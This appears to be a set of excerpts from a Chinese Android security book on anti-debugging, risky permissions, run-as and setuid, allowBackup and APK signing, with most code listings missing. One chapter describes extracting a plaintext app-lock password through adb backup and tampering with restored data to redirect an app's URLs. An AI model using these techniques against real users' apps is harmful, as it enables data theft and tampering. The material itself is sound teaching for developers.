    {"text": "未知 8.4 反调试检测 反调试检测是为了应对现在很多破解者使用IDA进行动态方式调试so文件，从而获取重要的信息，知道IDA进行so动态调试是基于进程的注入技术，然后使用Linux中的ptrace机制，进行调试目标进程的附加操作。ptrace机制有一个特点，如果一个进程被调试了，在它进程的status文件中有一个字段TracerPid会记录调试者的进程id值，如图8-5所示。 图8-5 TracerPid字段 查看文件：/proc/[myPid]/status，在第六行，有一个TracerPid字段，就是记录了调试者的进程id。那么就可以这么做来达到反调试的功效了：轮询遍历自己进程的status文件，然后读取TracerPid字段值，如果发现它大于0，就代表着自己的应用在被人调试，所以就立马退出程序。原理知道了，代码实现也很简单，这里用pthread创建一个线程，然后进行轮询操作： 使用pthread_create创建一个线程，线程启动之后执行thread_function函数： 看看thread_funcation函数： 开始轮询，读取TracerPid字段的值，发现大于0，就立马退出程序。运行结果看看，如下所示： 看到了，当使用IDA工具进行调试的时候，程序立马退出，IDA的调试页面也退出了。 但是还是有问题，因为现在破解者们已经免疫了，知道会有这种检测，所以就会用IDA工具给JNI_OnLoad函数下断点，然后进行调试，找到检测轮询代码，使用nop指令，替换检测指令，就相当于把检测代码给注释了。所以知道的人多了，方法就不好用了。 未知 8.5 本章小结 本章中主要介绍了在Android中开发应用的时候，可以从几个方面对应用的安全做一层防护，主要介绍了以下几种方式： ·使用Android中的混淆机制，包括代码混淆和资源混淆，这样能够增加反编译之后的内容阅读难度，同时可以减小应用包的大小。 ·使用应用的签名保护机制，因为每个应用的签名都是唯一的，为了防止被破解，可以在核心的方法或者程序入口处添加签名校验功能，如果校验失败就可以直接退出程序，增加破解难度。 ·手动注册native方法，这个方法也算是一种混淆机制，因为Android中native方法在native层对应的方法名都有固定的格式，为了防止被破解，可以去混淆这种方法的命名格式来增加破解难度。 ·增加应用的反调试功能，这里借助一个知识点，如果一个进程被注入或者是调试了，那么在它的status文件中的TracerPid字段的值就不为0。可以借助这个知识点来增加反调试功能。 未知 第9章 Android中常用权限分析 Android在开发过程中会申请一些权限，比如定位、网络等关系到用户隐私数据的都需要在AndroidManifest.xml中声明，而且现在移动设备生产商都添加了应用在使用这些隐私功能的时候给用户一个提示，让用户去决定是否允许本次操作。Android 6.0新增了这个功能，叫做运行时权限。本章不介绍在AndroidManifest.xml中申请基础权限，而是介绍在授权页面申请权限，现在开发者会利用这些权限去开发用户体验不错的产品，在这个过程中会产生一些隐私安全问题。 未知 9.1 辅助功能权限 许多Android使用者因为各种情况导致需要以特殊方式与手机交互。例如有些用户由于视力上、身体上、年龄上的问题致使他们不能看完整的屏幕、使用触屏，或者无法很好地接收到语音信息。 Android提供了辅助（Accessibility）功能和服务帮助这些用户更加简单地操作设备，包括文字转语音（不支持中文）、触觉反馈、手势操作、轨迹球和手柄操作。辅助功能实质上就是监听应用窗口变化和事件。在使用辅助功能的时候必须声明以下权限： 在代码中直接打开相应的Intent跳转到授权页面： 开发场景：实现静默安装/卸载、应用锁、通知栏管理、抢红包等功能。 辅助功能授权页面如图9-1所示。 图9-1 辅助功能授权页面 存在的风险： 可以监听设备当前的窗口变化，分析当前应用的View结构之后模拟点击。比如一个恶意的软件申请到了这个权限之后，就可以监听设备的应用启动情况： ·模拟一些社交App的登录窗口页面，其实是他们自己的钓鱼登录页，这样用户是无感知的，当用户输入用户名和密码时就很危险了。 ·当监听到当前应用是社交App，而且是聊天记录页面时，就可以得知当前聊天记录。 ·分析设备中的应用情况，在用户不知情的情况下，模拟点击任何一个应用进行操作，从而获取信息。 未知 9.2 设备管理权限 在开发的过程中，很多开发者没有注意到设备管理权限，它的作用类似于iPhone中的“查找我的手机”功能，当设备丢失的时候，可以快速定位以及擦除设备数据等，在使用这个功能时需要申请以下权限： 在代码中直接打开相应的Intent跳转到授权页面： 设备管理权限还有一个隐形的作用，就是可以防止被卸载。有的应用开发者想让自己的App无法被用户卸载，可以申请这个权限。其实想想也是合理的，因为它是设备丢失之后进行联系的唯一可靠功能了，肯定不能被卸载。 授权页面如图9-2所示。 图9-2 设备管理授权页面 存在的风险： 申请这个权限之后，有一个很大的弊端就是设备相当于给申请者管理了，他们可以修改设备的锁屏密码、擦除数据等，这对于用户来说是很危险的。"},
    {"text": "未知 9.3 通知栏管理权限 通知栏管理权限算是辅助功能的一个缩减版，因为辅助功能是可以监听设备的通知栏情况的，而这个功能专门用来监听设备的通知栏消息。在使用的过程中需要申请下面的权限： 在代码中直接打开相应的Intent跳转到授权页面： 开发场景：管理设备的通知信息，可以帮助用户管理杂乱的通知栏消息。 授权页面如图9-3所示。 图9-3 通知栏管理授权页面 存在的风险： 与辅助功能一样，申请这个权限之后用户设备的通知栏消息就会被它接管，如果通知栏有敏感消息的话，对用户来说是很危险的。 未知 9.4 VPN开发权限 Android 4.0之后增加了VPN功能，开发者可以使用VpnService来开发VPN相关的功能。在使用的过程中，需要申请权限，如下所示： 在代码中直接打开相应的Intent跳转到授权页面： 授权页面如图9-4所示。 图9-4 VPN授权页面 开发场景：Android中VPN软件开发，可以免root管理设备中的应用联网。 存在的风险： 如果申请了这个权限，就代表这个设备的网络访问消息会被申请者接管，网络访问消息的重要性不言而喻。 未知 9.5 本章小结 本章主要介绍了Android中一些常用的特殊权限，现在的开发者可以利用这些权限开发出体验很好的产品，但是也会有一些潜在的风险。所以在开发过程中如果用到这几个权限的话，还是需要慎重。设备使用者在遇到这些权限安全提示的时候也要额外警惕！ 未知 第10章 Android中的run-as命令 Android中有一个run-as命令，这个命令的作用是可以用root身份运行命令，但是它有一个限制，就是必须携带指定应用包名参数，而且这个应用是debug模式的，也就是说，如果在开发中想看自己应用的沙盒数据，在设备没有root的情况下，可以使用这个命令进行查看。本章将分析这个命令及使用方法。"},
    {"text": "Android中提供了一个命令，那就是run-as，不过这个命令有一个缺陷，就是只有debug模式应用才能被查看。 命令的用法很简单：run-as[packagename]。 其中packagename就是想查看的应用的包名，运行命令之后，就直接进入指定应用的目录：/data/data/packagename/。 现在稍微了解了Android中有这个命令可以查看debug应用的沙盒数据，但直接运行会遇到问题，运行结果如下所示： 为什么这个命令会报错呢？"},
    {"text": "图10-1 run-as命令源码的位置 run-as的源码如图10-2所示。 图10-2 run-as源码分析（一） 看到这里，原来run-as命令运行是有很多限制的。"},
    {"text": "第二个限制：应用的安装必须合法 这里再仔细看看get_package_info这个函数的源码，它位于run-as.c同目录下的package.c，如图10-3所示。 这里通过map_file函数来获取PACKAGES_LIST_FILE文件的buffer内容，再来看一下PACKAGES_LIST_FILE的定义： 图10-3 run-as源码分析（二） 导出这个文件，查看内容： 这个文件记录所有安装应用的信息：包名，用户id（uid），是否为debug模式，对应的数据目录，是否是release版，组id（gid）。"},
    {"text": "图10-4 run-as源码分析（三） 注意，这里看到了packages.list文件是存储安装包的简略信息，和它同一目录下还有一个重要文件packages.xml，可以导出来看看，如下所示： 这里记录了安装应用的详细信息，还有一个重要信息就是应用的安装来源，有些App可以做到这点就是通过这个信息来获取的，还有签名信息、权限等。 当然可以使用Android中的dumpsys packageinfo命令来查看指定应用的详细信息，如下所示： 第三个限制：应用的uid必须合法 对于查看的应用的uid也是有相应限制的，如下所示： 这里AID_APP的定义在Android源码目录\\system\\core\\include\\private\\android_filesystem_config.h下。"},
    {"text": "定义了一些uid信息，例如： ·AID_ROOT对应的是root用户，uid=0。 ·AID_SYSTEM对应的是system用户，uid=1000。 ·AID_SHELL对应的是shell用户，uid=2000。"},
    {"text": "Android中有些API会做uid限制，即使用反射机制也是访问失败的，比如，一个API限制只能uid=1000的用户即system用户才能调用，那么这时你是root用户也是没办法的，不过可以使用su进行降权。 这三个用户的id最好记住，算是常识，如下代码有详细定义： 再往下看，第三方应用uid的定义如下所示： 这里的AID_APP是10000，安装的应用的uid都是从10000开始的，所以uid都是大于10000的，代码中做了一层uid的合法性判断限制。 注意： 一般查看应用的uid时，得到最后的整数+10000就是应用的uid，比如demo.systemapi的uid就是：10000+100=10100。 如下代码可以获取到应用的uid： 这可以验证，查看上面提到的packages.list文件中的信息，如下所示： 第四个限制：应用是否为debug模式 之前说过，run-as有一个最大的限制就是查看应用的数据时，应用必须是debug模式的，所以在开发程序的时候千万要保证一点，就是debug包不能外泄，不然数据就等于外泄了。 言归正传，源码看得差不多了，看一下问题，在运行run-as的时候遇到的问题如下所示： 问题就出在如下代码上： 再看get_package_info函数： 再看map_file函数： 终于找到原因了，原来是/data/system/packages.list文件的读取权限是AID_SYSTEM，查看一下如下代码： 问题找到了，尝试使用su升级权限再查看一下，如下所示： 可惜的是，这样明显是不行的，原因很简单，run-as有限制，本身这个命令只能是root和shell用户才可以访问。 这里也可以看到，shell用户也不比system用户权限低，所以要视情况而定来看root、system、shell这三个用户的权限范围。 那么再使用root用户去尝试一下，如下所示： 这是可以的，因为run-as的权限验证通过了。 从上面的几个限制可以看到，首先root的uid限制可以放行，然后是debug模式可以放行，packages.list文件的访问权限是system，但是这对于root用户来说没有限制，因为在文件的读取权限上root可以操作任何文件，demo.systemapi的uid可以放行。 注意： 这里运行完run-as命令之后，进入/data/data/demo.systemapi目录下，看到变成了sh命令，#变成$了，这其实是run-as在启动一个shell程序，可以查看run-as的源码： 到这里就分析完了为什么运行run-as命令失败，失败的原因也找到了，解决的办法也有了，但是还是需要root，这貌似和开始说的有点出入，因为本身run-as命令就是可以在非root设备上查看debug模式下应用的沙盒数据，那现在root了，还有什么意义呢？"},
    {"text": "找到一个没有root的设备，然后运行run-as命令，结果如下所示： 也是可以运行成功的，而且这个设备没有root。 但是在上面已经root的设备上运行run-as却报错，为什么呢？ 下面就开始本章的主要内容，即为何没有root，run-as命令还能运行成功，进入指定的应用目录下。 是这样的：开始的时候为了讲解run-as源码和一些前提知识，做了一件事，就是修改了run-as命令的权限，如下所示： 查看run-as命令的本来权限是： 然后修改了它的权限chmod 0755 run-as，变成 这个操作是为了开始本章内容。 下面把run-as权限改回原来的值，然后再运行run-as，如下所示："},
    {"text": "未知 10.2 Linux中的setuid和setgid概念 那么问题来了，为何改了一个权限，就会导致run-as运行报错了呢？修改的命令是： 修改之后的权限是： 和修改之前只有一个区别，就是x变成了s，是怎么回事呢？ 这就引出了本节的话题：关于Linux中的setuid和setgid问题。Linux中的setuid和setgid是什么呢？Android中有哪些场景会用到它们呢？下面来一一讲解。 1.Linux中的setuid和setgid概念 Linux/Unix下的可执行文件一旦被设置了setuid标记，使用该可执行程序的进程就将拥有该执行文件的所有者权限。普通用户执行这个命令，可使自己升级为root权限。 设置setuid的方法是：chmod 4755 program或chmod u+s program（setuid只对文件有效）。 设置setgid的方法是：chmod 2755 dir或chmod g+s dir（setgid只对目录有效）。 同时设置setuid、setgid的方法是：chmod 6755 program被设置粘着位，chmod 1777 file或chmod o+t file（粘着位只对文件有效）当一个目录被设置为“粘着位”（用chmod a+t），则该目录下的文件只能由以下人员删除： ·超级管理员 ·该目录的所有者 ·该文件的所有者 也就是说，即便该目录是任何人都可以写，但也只有文件的属主才可以删除文件。那么如何使用chmod命令修改文件的权限，和这两个函数有什么关系呢？修改文件权限的命令是chmod，后面跟字母组合或者数字组合。 注意： Android中的toolbox对chmod命令做了限制，chmod只能使用数字代替字母来修改文件的权限，看下面例子： 这里使用字母组合方式来修改文件权限报错了：Bad mode，因为Google自带的toolbox中chmod语法不支持+x、-x。 2.chmod命令的用法和参数详解 知道Linux中的文件权限构造之后，可以使用ll命令查看一个文件，格式类似下面这样： 下面解析一下这个格式所表示的意思。 这种表示方法一共有10位： 第9位表示文件类型，可以为p、d、l、s、c、b和-： ·p表示命名管道文件 ·d表示目录文件 ·l表示符号连接文件 ·s表示socket文件 ·c表示字符设备文件 ·b表示块设备文件 ·-表示普通文件 第8～6位、5～3位、2～0位分别表示文件所有者的权限、同组用户的权限、其他用户的权限，其形式为rwx： ·r表示可读，可以读出文件的内容，对应的数字是4。 ·w表示可写，可以修改文件的内容，对应的数字是2。 ·x表示可执行，可运行这个程序，对应的数字是1。 那么，可以知道rwx的组合就是7=1+2+4。 如果想修改文件的权限为所有者是rwx，同组用户的权限是r--，其他用户的权限是--x，命令如下： 这里看到：u代表所有者，g代表同组用户，o代表其他用户。 使用数字更简单： ·7代表所有者：1+2+4 ·1代表同组用户：1 ·4代表其他用户：4 如下所示，可以看到文件的权限： 下面再来看一下如何修改文件为setuid和setgid。设置之后文件相应被设置了SUID或SGID位，分别表现在所有者或同组用户权限的可执行位上。例如： 1）-rwsr-xr-x表示SUID和所有者权限中可执行位被设置。 2）-rwsr--r--表示SUID被设置，但所有者权限中可执行位没有被设置。 3）-rwxr-sr-x表示SGID和同组用户权限中可执行位被设置。 4）-rw-r-sr--表示SGID被设置，但同组用户权限中可执行位没有被设置。 其实，在Unix的实现中，文件权限用12个二进制位表示，如果该位上的值是1，表示有相应的权限： 第11位为SUID位，第10位为SGID位，第9位为粘着位，第8～0位对应于上面的三组rwx位。 -rwsr-xr-x的值为：1 0 0 1 1 1 1 0 1 1 0 1 -rw-r-sr--的值为：0 1 0 1 1 0 1 0 0 1 0 0 1）所有者的s位对应的数字是：4 2）所有组的s位对应的数字是：2 3）粘着位对应的数字是：1 给文件加SUID和SUID的命令如下： 1）chmod u+s filename设置SUID位 2）chmod u-s filename去掉SUID设置 3）chmod g+s filename设置SGID位 4）chmod g-s filename去掉SGID设置 也可以用八进制表示方法来设置，如果明白了前面的12位权限表示法，八进制方法也很简单。 使用数字来设置文件的SUID、SGID、粘着位： 第一位的7就代表1+2+4，即设置了三个位。"},
    {"text": "未知 10.3 Android中setuid和setgid的使用场景 前面介绍了Linux中setuid、setgid的用法和作用，以及如何使用chmod命令来操作。下面就来看看Android中有哪些场景用到了setuid、setgid。 1.zygote降权处理 首先不得不说zygote这个进程，Android中应用启动的过程都是和这个进程息息相关的，每个应用启动都是来找zygote做事的。zygote启动之后，会进入一个轮询使用socket来监听ActivityManagerService发来的消息，比如应用的启动，然后zygote就fork出一个进程，开始运转。那么问题来了，在Linux中，父进程fork出一个子进程，默认子进程会拥有和父进程一样的uid，那么zygote是root用户的，按照常理，所有fork出来的应用都是root用户了，看上去很危险——每个应用都有root权限了。其实每个应用只有指定的权限，这是由于zygote使用setuid、setgid做了降权处理，如下所示： 下面来看一下源码：dalvik_system_Zygote.cpp。 提示： 源码位置：Android源码\\dalvik\\vm\\native\\dalvik_system_Zygote.cpp zygote中主要做处理的是forkAndSpecializeCommon函数，如下所示： 往下面看： 这里将fork出来的进程的gid和uid设置成上层传递过来的值，从而实现降权。 这里还有一个函数enableDebugFeatures，这个函数是干什么的，其实看到名字都知道，让一个应用具备可调试功能，在debug的情况下： 继续往下看： 注意，在gDvm.jdwpAllowed字段判断时可以看到，Java中的调试系统还是很复杂的，由jdb、jdbserver、jwdp组成，这里遵从的是C/S模式： ·jdb是客户端，需要调试的应用。 ·jdbserver是服务器端，调试代码信息处理的那一端。 ·jwdp是调试协议。 而且每个可以调试的应用启动之后，都会有一个jwdp线程来运作这些事，可以使用： 来查看进程的线程，如下所示： 这里介绍的内容是为了接下来分析Android中的调试工具gdb、gdbserver做准备的。 2.su工具原理 Android手机的root原理是：一个普通的进程通过执行su，从而获得一个具有root权限的进程。有了这个具有root权限的进程之后，就可以想干什么就干什么了。su所做的事情其实很简单，它再fork另外一个子进程来做真正的事情，也就是在执行su的时候后面所跟的那些参数。由于运行su的进程的uid是root，因此由它fork出来的子进程的uid也是root，于是子进程也可以想干什么就干什么了。不过，用来root手机的su还会配合另外一个称为superuser的App来使用。su在fork子进程来做真正的事情之前，会先启动superuser，询问用户是否允许fork一个uid是root的子进程。这样就可以对root权限进行控制，避免被恶意应用偷偷地使用。 下面来看看su的源码，如图10-5所示。 图10-5 su的源码 可以看到，这里就是用了setuid和setgid来设置指定的uid，如果没有指定uid，默认是root用户，uid=0。 3.run-as命令 上面说到使用chmod命令可达到setuid等效果，在Android中也有类似的场景，前面分析的run-as命令就是一个很好的例子，run-as命令本身的uid是root，gid是shell。 如果用chmod 6755 run-as设置完权限之后如下面的代码所示，就具备了这种功能，即只要运行run-as命令的用户就会立马升级到root用户，因为root用户可以进入任何应用的data/data/目录下： 现在也知道了前面为什么修改了run-as命令之后会报错，然后修改回来之后又可以了。 从这里可以看到Android中的run-as命令其实还是很危险的，虽然它本身有很多限制，但追根到底还是Linux中setuid的安全性最为值得考究，setuid的危险性还是很大的。"},
    {"text": "未知 10.4 run-as命令的作用 现在知道了run-as命令能够在非root设备上查看debug模式的应用沙盒数据，其实它还有一个重要作用，就是为Android中的调试做基础。上面在分析zygote源码的时候提到了Java中的调试系统jdb，其实Android中的调试系统是gdb，通过gdb和gdbserver来调试App。具体来说，就是gdbserver通过ptrace附加到目标App进程去，然后gdb再通过socket或者pipe来链接gdbserver，并且向它发出命令来对App进程进行调试。需要注意以下关键点： ·每一个需要调试的apk在打包的时候都会带上一个gdbserver，因为手机上面不带有gdbserver工具。gdbserver用来通过ptrace附加到要调度的App进程去。 ·要注意ptrace的调用。一般来说，只有root权限的进程可以调用。例如，如果我们想通过ptrace向目标进程注入一个so，那么就需要在root过的手机上向su申请root权限。但是，这不是绝对的。如果一个进程与目标进程的uid是相同的，那么该进程就具有调用ptrace的权限。gdbserver在调试一个App之前，首先要通过ptrace_attach来附加到该App进程去。ptrace_attach在执行实际操作之后，会调用__ptrace_may_access来检查调用进程的权限，如果调用进程与目标进程具有相同的uid和gid，那么权限检查通过。否则的话，就要求调用者进程具有执行ptrace的能力，这是通过另外一个函数ptrace_has_cap来检查的。如果调用进程的uid是root，那么ptrace_has_cap一定会检查通过。当然，通过了上述两个权限检查之后，还要接受内核安全模块的检查，这就不是通过uid或者capability这一套机制来控制的了。 ·如何让gdbserver进程的uid与要调试的App进程的uid一样？因为在没有root过的手机上要想获得root权限是不可能的，因此只能选择以目标进程相同的uid运行这个方法。这时可以使用run-as工具。 到这里知道了，在Android中要调试一个程序，首先这个程序必须是debug模式的，也就是在AndroidManifest.xml中设置的属性，所以以往在使用动态方式破解apk的时候，首先是反编译，然后修改XML中的debug属性，然后才能进行代码关联调试，而且动态调试so的强大工具IDA也是利用附加到目标进程中才进行调试的，原理和这里的gdb一样。 未知 10.5 调用系统受uid限制的API 前面说了几次关于降权的问题，再用一个例子来详细介绍Android中如何降权，这个例子是模拟一个系统的API，但是这个API只允许system用户调用，代码如下： 这里做了用户uid的判断，如果不是system用户，直接返回错误信息。为了简单，也是为了向用户演示Android中如何执行jar功能，这里再加一个入口类： 把项目导出jar，然后用dx命令进程转化成dex，因为Android中是不识别class文件的，它只识别dex文件： 然后将生成的classes.dex文件塞到jar中，直接使用压缩软件就可以了，如图10-6所示。 图10-6 压缩软件查看jar文件 然后把exec.jar导入设备的/data目录下，如下所示： 接着把exec.jar设置到类环境变量中，运行即可： ·export CLASSPATH jar的路径。 ·exec/system/bin/app_process jar的目录jar中的入口类。 为了演示，例子都是在root用户下做的操作，如下所示： 运行成功，看到打印的log信息，权限拒绝了，因为只能允许system用户访问，下面就用su降权到system再运行，如下所示： 注意： 每次切换用户的时候，一定要记得重新设置一下类变量，不然会运行失败的。 成功获取到值了。总结一下步骤： 1）导出可执行的jar文件。 2）使用dx命令将class文件转化成dex文件。 3）将转化之后的dex文件塞到jar文件中，然后导入设备的指定目录。 4）设置可执行jar文件到类环境变量中。 5）执行app_process命令，运行jar文件。 补充一些说明：上面看到了可以成功使用app_process命令来运行一个jar文件，关于app_process的相关知识网上有很多资料，它是Android系统中启动Java代码的关键。这里也可以直接运行dex文件，使用命令dalvikvm。 首先将上面执行dx命令后的classes.dex文件adb放到/data目录下，如下所示： 然后执行dalvikvm命令，如下所示： 这里同样看到权限拒绝，降级切换到system用户，如下所示： 了解了如何使用app_process来运行jar文件，便体验到了Android中一些API的访问限制该如何处理，主要是用su来进行降权处理，而su能够降权是因为它本身提供了可以修改uid的功能，即调用setuid和setgid函数即可，所以在手机root之后发现还是不能调用系统的一些API时，可以尝试使用su来降权进行调用。 未知 10.6 本章小结 本章知识点有点多，一环扣着一环，分析run-as命令的用法时去分析源码，发现错误的根源之后，引出Linux中的setuid和setgid问题，解决问题之后，总结了setuid和setgid的使用场景，然后继续分析了run-as命令的作用。最后也解决一个问题，即如何调用系统中那些有uid限制的API，通过一个例子来解析问题，引出了Android中如何执行jar文件。 未知 第11章 Android中的allowBackup属性 很多开发者对Android关于AndroidManifest.xml中的allowBackup属性不太了解，而开发者在使用IDE工具开发的时候自动生成代码，而这个属性的值会被设置成true，会直接导致隐私数据的丢失。本章就介绍这个属性对应用安全的影响到底有多大以及注意事项。"},
    {"text": "未知 11.1 allowBackup属性介绍 Android API Level 8及以上Android系统提供了为应用程序数据的备份和恢复功能，此功能的开关由应用程序中AndroidManifest.xml文件中的allowBackup属性值决定，其属性值默认是true。当allowBackup标志为true时，用户即可通过adb backup和adb restore命令对应用数据进行备份和恢复，这可能会带来一定的安全风险。 这个属性的安全风险源于adb backup命令容许任何一个能够打开USB调试开关的人从Android手机中复制应用数据到外设，一旦应用数据被备份之后，所有应用数据都可被用户读取；adb restore容许用户指定一个恢复的数据来源（即备份的应用数据）来恢复应用程序数据的创建。因此，当一个应用数据被备份之后，用户即可在其他Android手机或模拟器上安装同一个应用，并通过恢复该备份的应用数据到该设备上，在该设备上打开该应用即可恢复到被备份的应用程序的状态。 尤其是通讯录应用，一旦应用程序支持备份和恢复功能，攻击者即可通过adb backup和adb restore命令进行恢复新安装的同一个应用来查看聊天记录等信息；对于支付金融类应用，攻击者可通过此方法来进行恶意支付、盗取存款等。因此为了安全起见，开发者务必将allowBackup标志值设置为false来关闭应用程序的备份和恢复功能，以免造成信息泄露和财产损失。 allowBackup安全风险详情： ·allowBackup风险位置：AndroidMannifest.xml文件android：allowBackup属性。 ·allowBackup风险触发前提条件：未将AndroidMannifest.xml文件中的android：allowBackup属性值设为false。 ·allowBackup风险原理：当allowBackup标志值为true时，即可通过adb backup和adb restore命令来备份和恢复应用程序数据。"},
    {"text": "首先看这样一个场景，现在市场上有一些应用锁类的App，它们就是给每个应用打开的时候添加一个密码，打开App的时候需要输入密码才能进入应用，一般会把自己的银行App、通讯类的App加密。 现在市场上这些应用锁的原理也很简单，一般是三种方式实现： ·最古老的方式是后台启动一个service，然后隔一段时间去轮询，获取当前的topActivity，然后进行操作。"},
    {"text": "其实前两种方式差不多，唯一的区别就在于获取topActivity的方式，其实Google可能意识到了，获取topActivity是很危险的一件事：比如现在有一个恶意的软件，可以通过这个功能，当用户启动设备中的一些通讯、银行App的时候，可以监听到然后就启动他们自己定义的钓鱼登录页面，模拟这些App的登录，最终可以获取到用户名和密码了，完成盗取。"},
    {"text": "图11-1 市场中的某个应用锁App 下载这个apk之后使用aapt查看它的AndroidManifest.xml内容： 在拿到一个apk的时候，如果想知道apk中的一些资源和配置信息，aapt命令是个不错的选择，同时，它能够删除apk中的一些资源，添加一些资源到apk中都是可以的，查看结果如图11-2所示。"},
    {"text": "图11-2 aapt命令查看应用的AndroidManifest.xml ·-all 这个指令除非只是要备份单一App不然是一定要打上去的。 这个是问你是否要备份全部的App，若有加上-nosystem的指令。 那么就只会备份你目前已经安装上去的App而不会连系统App一起备份。 ·[-apk|-noapk] 默认是-noapk，这个参数的意思是，是否连安装的apk一起备份。 若为-noapk，则只会备份apk的资料档（像是游戏存盘、设定之类的）。 ·[-shared|-noshared] 默认是-noshared，这个会问你是否连手机储存空间或是SD卡的档案一起备份。"},
    {"text": "关于这个应用的包名，可以直接从上面dump出来的AndroidManifest.xml中获取即可，如图11-3所示。 图11-3 查看AndroidManifest.xml文件 获取包名之后，就可以执行命令，把导出来的文件保存到当前目录下：applock.ab，如下所示，注意这里的格式是ab，这个也是Android中备份文件的格式要求： 当执行这个命令的时候，设备端会出现一个提示页面，如图11-4所示。"},
    {"text": "这时候会提示输入备份密码，为了简单可以不输入，直接点击备份即可，备份完之后的文件如图11-5所示。 图11-4 备份截图 图11-5 备份之后的文件 第二步：abe工具来解析ab文件 还需要借助一个工具来解析这个ab文件。"},
    {"text": "源码位于： https://github.com/nelenkov/android-backup-extractor 这里没有直接下载源码，然后编译了，直接在网上下载了一个编译好的工具，工具下载地址如下。"},
    {"text": "提示： 工具下载地址： http://download.csdn.net/detail/jiangwei0910410003/9523470 用法也很简单，看到使用unpack参数来将ab文件转化成tar文件： 再用解压缩软件查看内容，如图11-6所示。"},
    {"text": "图11-6 压缩软件打开备份文件 现在如果想知道它的密码，可以直接查看SharePreferences 文件即可，因为一般都会把密码放到这里保存，当然这是一个非常危险的操作，如果再没有对密码进行加密的话，那更是危险了，如图11-7所示，是应用的沙盒中XML数据。"},
    {"text": "下面来总结一下： 图11-9 九宫格图 1）这个App现在在市场的下载量还是蛮高的，但是看到它一不留神把allowBackup属性设置成true，就导致了数据可能被外泄，更为有趣的是，在使用几个IDE工具，默认新建的工程之后，这个属性的值也是true，如下所示（Eclipse和AndroidStudio开发工具）。"},
    {"text": "以后在开发的过程中一定要记得把这个属性设置成false，特别是非常重要的需要账号登录的App。 2）上面分析了应用锁的App，并非只是一个案例，其实现在很多App都有这个问题，看看某市场App，如下所示： 它也是没有手动改变这个属性为false，所以它的数据也是可以导出来的。"},
    {"text": "再看看某视频App，如下所示： 也是一样，不过像这些App，它们的账号登录密码的信息肯定不是放在本地的，而是放到服务端进行验证的，不像应用锁这样的，它不需要联网也是可以进行操作，所以密码必须放到本地。"},
    {"text": "但是只要这个属性allowBackup为true的话，就会被查看到沙盒数据，就是不安全的。 最后再来看看某社交App的5.0版本也有这个问题，不过它在6.0之后已经把allowBackup设置成false了，如下所示： 这里看到它没有设置allowBackup属性，但是刚刚说了，默认值就是true，所以还是可以导出来的，下面可以使用上面的导出步骤进行操作，如图11-10所示。"},
    {"text": "图11-10 社交数据库信息 其实社交App把通讯录和聊天记录都是保存到数据库中，但是这个数据库是加密的。 数据库加密，其实是需要反编译App才知道，然后动态调试跟踪代码破解，因为通讯录和聊天内容是没有网络就可以查看的，那么加解密肯定是放在本地做的，只要是放在本地做的就可以进行破解。"},
    {"text": "3）还是回到这个应用锁App中来，其实在这里还是想说一番的，作为下载量蛮高的App，竟然把密码用明文保存到XML中，这种做法其实是对用户的不负责，首先这里完全可以使用MD5来做密码验证就可以了，为何要暴露明文；"},
    {"text": "未知 11.3 如何恢复应用数据 可以使用adb backup命令来做一下操作，就是在开发过程中，如果遇到手机没有root的，但是又想查看沙盒数据，那么这个也是一种方式，当然可以使用run-as命令来操作。 与上面的adb backup命令相对应的还有一个就是adb restore命令，它是用来恢复数据的，具体用法： 这时候也会在客户端出现确认页面，如图11-11所示。 点击恢复数据即可。现在如果想改了这个应用锁的密码，直接修改XML中密码数值，如下所示： 然后再保存成ab文件进行还原，密码就被修改了。比如有些应用把一些隐私的链接URL这样的信息保存到XML中，就可以导出来数据，然后修改URL为自己的URL再还原，而这些URL如果是一些上报、或者是登录的URL，就可以在这里做手脚，达到想要的目的了。 图11-11 数据还原 未知 11.4 本章小结 从本章内容可以看到，对一个属性不留意会带来多大的风险，这个属性也是很容易忽视的，它默认值是true，必须手动设置成false才可以。这个属性导致现在市场上很多App都存在这样的风险。本章主要分析了一个应用锁应用的信息，发现它犯了一个最大的错误就是把密码用明文的方式保存在XML中，破解难度为0。所以开发者在开发一个App的时候，不仅考虑是用户体验，而且要对用户的隐私负责。用户在下载和安装一些App的时候也需要多留点心。 未知 第12章 Android中的签名机制 Android开发者对于签名校验机制应该不陌生，就是为了安全，不让别人修改apk，防止恶意破解者在反编译apk之后再重新安装。如果重新安装系统会提示安装失败，因为apk的内容发生改变，签名结果不一样，Android系统中是不允许安装同一个包名但是签名不一样的apk程序的。"},
    {"text": "1.数据摘要 数据摘要其实也是一种算法，就是对一个数据源进行一个算法操作之后得到一个摘要，也叫作数据指纹，不同的数据源，数据指纹肯定不一样，就和人一样。 消息摘要算法（Message Digest Algorithm）是一种能产生特殊输出格式的算法，其原理是根据一定的运算规则对原始数据进行某种形式的信息提取，提取出的信息就称为原始数据的数据摘要。"},
    {"text": "·一般来说（不考虑碰撞的情况下），只要输入的原始数据不同，对其进行摘要以后产生的数据摘要也必不相同，即使原始数据稍有改变，输出的数据摘要便完全不同。"},
    {"text": "2.签名文件和证书文件 签名文件和证书文件是成对出现的，二者不可分离，而且后面通过源码可以看到，这两个文件的名字也是一样的，只是后缀名不一样。"},
    {"text": "通过这两步得出的消息，就是所谓的原始信息的数字签名。 而对于信息的接收者来说，他所收到的信息，将包含两个部分，一是原始的消息内容，二是附加的那段数字签名。"},
    {"text": "综上所述，数字签名其实就是只有信息的发送者才能产生的别人无法伪造的一段数字串，这段数字串同时也是对信息的发送者发送信息真实性的一个有效证明。 不知道大家有没有注意，前面讲的这种数字签名方法，有一个前提，就是消息的接收者必须要事先得到正确的公钥。 如果一开始公钥就被别人篡改了，那坏人就会被你当成好人，而真正的消息发送者给你发的消息会被你视作无效的。"},
    {"text": "数字证书一般包含以下一些内容： ·证书的发布机构（Issuer） ·证书的有效期（Validity） ·消息发送方的公钥 ·证书所有者（Subject） ·数字签名所使用的算法 ·数字签名 可以看出，数字证书其实也用到了数字签名技术。"},
    {"text": "所以，数字证书可以保证数字证书里的公钥确实是这个证书的所有者的，或者证书可以用来确认对方的身份。 数字证书主要是用来解决公钥的安全发放问题。"},
